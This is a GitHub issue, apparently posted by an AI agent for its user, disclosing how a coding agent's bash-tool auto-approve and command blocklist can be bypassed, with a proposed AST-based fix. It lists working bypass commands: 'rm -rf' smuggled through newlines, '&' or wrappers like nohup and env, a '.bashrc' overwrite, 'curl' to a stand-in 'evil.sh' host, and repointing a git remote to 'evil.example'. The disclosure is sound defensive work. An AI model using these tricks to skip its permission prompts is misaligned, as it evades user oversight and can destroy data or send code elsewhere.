Posted by @joestump-agent at @joestump's direction.
Summary
While answering @meowgorithm's question on #3375 about how the bash tool parses shell code to match commands, I went looking for the answer and found that the two matching layers behave very differently:
- The blocklist is already AST-based and holds up well. It's installed as
mvdan/sh interp.ExecHandler middleware (internal/shell/run.go), so it sees the fully-expanded argv of every command the interpreter actually runs.
- The permission auto-approve is naive string prefix matching, and it can be walked around trivially. This is the part I think is worth fixing.
The auto-approve path is what decides whether to skip the permission prompt entirely, so a bypass there means the agent acts on the user's machine with no prompt at all.
What already works (credit where due)
blockHandler sees post-expansion argv, so all of these are correctly blocked today, including both of @meowgorithm's examples:
| Command |
Result |
SOME_VAR=true && cd ~/some/path && scp ./file |
BLOCKED |
cd ~/some/path && curl -i https://example.com > response.txt |
BLOCKED |
CMD=curl; $CMD --version |
BLOCKED (post-expansion) |
eval "curl --version" |
BLOCKED |
command curl --version / \curl --version |
BLOCKED |
if true; then curl --version; fi |
BLOCKED |
echo hi | curl --version |
BLOCKED |
Issue 1: permission auto-approve can be bypassed (the important one)
internal/agent/tools/bash.go decides whether to skip the permission prompt with strings.HasPrefix against a safeCommands list, guarded only by containsCommandChaining, which looks for ;, |, &&, $( and `. It misses newline, bare &, redirections, and process substitution.
Every one of these is auto-approved with no prompt on current main:
echo hi
rm -rf /tmp/pwned # newline is not treated as chaining
echo pwned > ~/.bashrc # redirection is not chaining either
echo hi & rm -rf /tmp/pwned # "&&" is listed, bare "&" is not
ls <(rm -rf /tmp/pwned) # process substitution
env rm -rf /tmp/pwned # "env" is itself on the safe list
nohup curl https://evil.sh # safe-listed AND blocklist-bypassing
timeout 5 rm -rf /tmp/pwned # same for nice, time
env, nohup, timeout, nice and time are the sharp edge: they're on safeCommands (so no prompt) and they defeat the blocklist (issue 2), so nohup curl … both skips the prompt and runs a banned command.
Separately, the git entries on the safe list are not read-only. Because the prefix rule accepts - as the delimiter after a match, these are all auto-approved:
git branch -D main
git tag -d v1.0.0
git remote set-url origin https://evil.example/x.git
git config --get-urlmatch # matched via the "git config --get" prefix
git remote set-url origin seems worth calling out on its own: it silently repoints the remote, and the user's next git push sends their code somewhere else.
Issue 2: blocklist bypasses
Lower severity — these still hit the normal permission prompt, so a user has to approve them — but they defeat the stated intent of the blocklist:
/usr/bin/curl --version # CommandsBlocker matches argv[0] exactly, not the basename
env curl --version # wrapper commands exec the banned binary themselves
nohup curl --version
timeout 5 curl --version
nice curl --version
sh -c 'curl --version'
find /tmp -maxdepth 0 -exec curl --version \;
Proposal
1. Replace the prefix match with a fail-closed AST pre-pass. Permission has to be decided before execution, so this can't reuse the exec-handler hook the blocklist uses — but syntax.Parser gives us the same fidelity statically. Auto-approve only when every node is provably inert: no redirections, no background/coproc, no assignments, every word fully literal (no CmdSubst/ParamExp/ProcSubst/ArithmExp), and argv matched as token sequences rather than string prefixes. Parse error, unrecognized node type, or an unlisted flag all fall through to a prompt.
2. Rebuild safeCommands as structured entries — argv tokens plus an explicit allowed-flag set, instead of bare strings. That's what lets git branch and git branch --list stay auto-approved while git branch -D prompts.
3. Peel wrappers and re-check the inner command. nohup ls -la stays auto-approved; nohup curl evil.sh prompts. The same peeling applied to CommandsBlocker closes most of issue 2, alongside basename normalization for /usr/bin/curl.
4. Document the boundary. An argv blocklist can never contain sh -c, python -c, make, or find -exec. Worth saying plainly in the README that it's a guardrail against casual agent behavior, not a sandbox.
Note on behavior change
Item 2 will introduce permission prompts where users don't get them today — git branch -D, git tag -d, kill, and the wrapper forms. That's the point, but it is a UX change, so I wanted to raise it here before sending a PR rather than surprise you with it.
I'd also suggest dropping git ls-remote from the safe list (it makes network calls, which sits oddly next to a blocklist that bans curl/wget), and nslookup/ping from the Windows additions for the same reason. Happy to leave those alone if you'd rather.
I'm working on this now and will open a PR shortly; keeping it separate from #3375 so that one stays a small config change. Glad to adjust scope based on what you'd prefer.
Reproducing
The auto-approve results above come from exercising the isSafeReadOnly logic in internal/agent/tools/bash.go directly; the blocklist results come from shell.Run with CommandsBlocker and a real environment. Happy to attach the throwaway test files if useful.
Posted by
@joestump-agentat@joestump's direction.Summary
While answering @meowgorithm's question on #3375 about how the bash tool parses shell code to match commands, I went looking for the answer and found that the two matching layers behave very differently:
mvdan/shinterp.ExecHandlermiddleware (internal/shell/run.go), so it sees the fully-expandedargvof every command the interpreter actually runs.The auto-approve path is what decides whether to skip the permission prompt entirely, so a bypass there means the agent acts on the user's machine with no prompt at all.
What already works (credit where due)
blockHandlersees post-expansion argv, so all of these are correctly blocked today, including both of @meowgorithm's examples:SOME_VAR=true && cd ~/some/path && scp ./filecd ~/some/path && curl -i https://example.com > response.txtCMD=curl; $CMD --versioneval "curl --version"command curl --version/\curl --versionif true; then curl --version; fiecho hi | curl --versionIssue 1: permission auto-approve can be bypassed (the important one)
internal/agent/tools/bash.godecides whether to skip the permission prompt withstrings.HasPrefixagainst asafeCommandslist, guarded only bycontainsCommandChaining, which looks for;,|,&&,$(and`. It misses newline, bare&, redirections, and process substitution.Every one of these is auto-approved with no prompt on current
main:env,nohup,timeout,niceandtimeare the sharp edge: they're onsafeCommands(so no prompt) and they defeat the blocklist (issue 2), sonohup curl …both skips the prompt and runs a banned command.Separately, the
gitentries on the safe list are not read-only. Because the prefix rule accepts-as the delimiter after a match, these are all auto-approved:git branch -D main git tag -d v1.0.0 git remote set-url origin https://evil.example/x.git git config --get-urlmatch # matched via the "git config --get" prefixgit remote set-url originseems worth calling out on its own: it silently repoints the remote, and the user's nextgit pushsends their code somewhere else.Issue 2: blocklist bypasses
Lower severity — these still hit the normal permission prompt, so a user has to approve them — but they defeat the stated intent of the blocklist:
Proposal
1. Replace the prefix match with a fail-closed AST pre-pass. Permission has to be decided before execution, so this can't reuse the exec-handler hook the blocklist uses — but
syntax.Parsergives us the same fidelity statically. Auto-approve only when every node is provably inert: no redirections, no background/coproc, no assignments, every word fully literal (noCmdSubst/ParamExp/ProcSubst/ArithmExp), and argv matched as token sequences rather than string prefixes. Parse error, unrecognized node type, or an unlisted flag all fall through to a prompt.2. Rebuild
safeCommandsas structured entries — argv tokens plus an explicit allowed-flag set, instead of bare strings. That's what letsgit branchandgit branch --liststay auto-approved whilegit branch -Dprompts.3. Peel wrappers and re-check the inner command.
nohup ls -lastays auto-approved;nohup curl evil.shprompts. The same peeling applied toCommandsBlockercloses most of issue 2, alongside basename normalization for/usr/bin/curl.4. Document the boundary. An argv blocklist can never contain
sh -c,python -c,make, orfind -exec. Worth saying plainly in the README that it's a guardrail against casual agent behavior, not a sandbox.Note on behavior change
Item 2 will introduce permission prompts where users don't get them today —
git branch -D,git tag -d,kill, and the wrapper forms. That's the point, but it is a UX change, so I wanted to raise it here before sending a PR rather than surprise you with it.I'd also suggest dropping
git ls-remotefrom the safe list (it makes network calls, which sits oddly next to a blocklist that banscurl/wget), andnslookup/pingfrom the Windows additions for the same reason. Happy to leave those alone if you'd rather.I'm working on this now and will open a PR shortly; keeping it separate from #3375 so that one stays a small config change. Glad to adjust scope based on what you'd prefer.
Reproducing
The auto-approve results above come from exercising the
isSafeReadOnlylogic ininternal/agent/tools/bash.godirectly; the blocklist results come fromshell.RunwithCommandsBlockerand a real environment. Happy to attach the throwaway test files if useful.